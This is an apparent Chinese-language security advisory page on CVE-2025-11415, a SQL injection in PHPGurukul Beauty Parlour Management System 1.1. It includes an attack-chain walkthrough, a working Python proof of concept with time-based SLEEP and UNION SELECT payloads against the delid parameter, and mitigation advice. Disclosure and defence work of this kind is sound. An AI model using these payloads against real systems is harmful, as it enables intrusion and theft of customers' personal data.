IPBUF安全漏洞报告
English
CVE-2025-11415 CVSS 7.3 高危

CVE-2025-11415:PHPGurukul美容院管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11415
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Beauty Parlour Management System

相关标签

SQL注入PHPGurukulBeauty Parlour Management System高危漏洞未认证远程利用CWE-89Web应用漏洞管理后台漏洞CMS漏洞

漏洞概述

CVE-2025-11415是PHPGurukul美容院管理系统(Beauty Parlour Management System)1.1版本中存在的一个高危SQL注入漏洞。该漏洞位于管理后台的文件/admin/customer-list.php中,具体涉及对参数delid的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句注入到该参数中,从而实现对后台数据库的未授权操作。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。攻击者无需任何身份认证即可远程发起攻击,且不需要用户交互,这使得该漏洞极易被自动化工具批量利用。由于该系统的管理后台通常存储着客户的个人敏感信息(如姓名、电话、地址、服务记录等),一旦数据库被攻破,可能导致大规模的用户隐私泄露。

该漏洞的利用代码已经在公开渠道发布,攻击者可获取性极高。PHPGurukul美容院管理系统是一款面向美容院、沙龙等小型服务行业的管理软件,其用户群体广泛,因此该漏洞的影响面不容忽视。安全研究人员已于2025年10月7日公开披露该漏洞,相关的PoC代码已在GitHub等平台公开传播,建议相关用户尽快采取防护措施。

技术细节

该漏洞的根本原因在于/admin/customer-list.php文件中对delid参数的处理未进行充分的输入验证和参数化处理。开发者直接将用户可控的delid参数拼接到SQL查询语句中,导致攻击者可以通过构造特殊的SQL注入payload来操纵后端数据库查询。

从技术层面分析,攻击者可以通过HTTP GET或POST请求向/admin/customer-list.php发送包含恶意delid参数的请求,例如使用经典的基于UNION的SQL注入语句或基于布尔的盲注语句。由于该漏洞无需认证即可触发(PR:N),攻击者只需能够通过网络访问到该管理后台即可发起攻击。

成功利用该漏洞后,攻击者可以执行以下操作:1)通过UNION查询读取数据库中的任意数据,包括管理员凭据、客户信息等敏感数据;2)通过堆叠查询(stacked queries)或时间盲注进一步探测数据库结构;3)利用MySQL的FILE函数尝试读写服务器文件;4)在特定配置下,利用SQL注入配合UDF或INTO OUTFILE实现远程代码执行。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L,表明攻击复杂度低,无需特权和用户交互,对机密性、完整性和可用性均有一定影响。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎(如Shodan、Censys)或目录爆破工具识别互联网上暴露的PHPGurukul美容院管理系统1.1版本实例,重点定位/admin/customer-list.php文件。
STEP 2
步骤2:漏洞探测
攻击者向/admin/customer-list.php发送带有特殊构造delid参数的请求,通过时间盲注、布尔盲注或UNION注入等技术确认SQL注入漏洞的存在。
STEP 3
步骤3:信息提取
利用确认的SQL注入漏洞,通过UNION查询或盲注技术逐步提取数据库中的敏感信息,包括管理员账号密码哈希、客户个人信息等。
STEP 4
步骤4:权限提升与持久化
使用获取的管理员凭据登录系统后台,获取更高权限;或尝试利用SQL注入写入Webshell实现持久化控制。
STEP 5
步骤5:数据窃取与破坏
窃取数据库中的所有客户敏感信息,或执行DROP、DELETE等恶意SQL语句破坏数据库完整性,造成业务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11415 PoC - SQL Injection in PHPGurukul Beauty Parlour Management System 1.1 # Vulnerable file: /admin/customer-list.php # Vulnerable parameter: delid import requests import sys TARGET_URL = "http://target.com" # Replace with actual target VULNERABLE_PATH = "/admin/customer-list.php" # Normal request to verify the endpoint is accessible def check_vulnerable(base_url): url = base_url + VULNERABLE_PATH # Test for SQL injection using time-based blind technique payload_normal = {"delid": "1"} payload_inject = {"delid": "1' AND SLEEP(5)-- -"} try: # Send normal request r1 = requests.get(url, params=payload_normal, timeout=10) # Send injection request (should take longer due to SLEEP) r2 = requests.get(url, params=payload_inject, timeout=15) if r2.elapsed.total_seconds() - r1.elapsed.total_seconds() >= 4: print("[+] Target appears vulnerable to SQL injection!") return True else: print("[-] Target does not appear vulnerable.") return False except Exception as e: print(f"[!] Error: {e}") return False # Extract data using UNION-based injection def extract_data(base_url): url = base_url + VULNERABLE_PATH # Example UNION-based payload to extract database version # Adjust column count based on actual query structure payload = { "delid": "-1' UNION SELECT 1,version(),database(),user(),5,6,7,8,9,10-- -" } try: r = requests.get(url, params=payload, timeout=10) print("[+] Response:") print(r.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] if check_vulnerable(TARGET_URL): extract_data(TARGET_URL)

影响范围

PHPGurukul Beauty Parlour Management System 1.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache规则)限制/admin/customer-list.php文件的外部访问,仅允许可信IP访问管理后台;2)部署WAF规则拦截包含UNION、SELECT、SLEEP等关键字的恶意请求;3)对delid参数进行严格的类型校验,确保其为整数类型;4)修改数据库用户权限,限制其只能执行必要的查询操作;5)密切监控系统日志,及时发现并阻断可疑的SQL注入攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表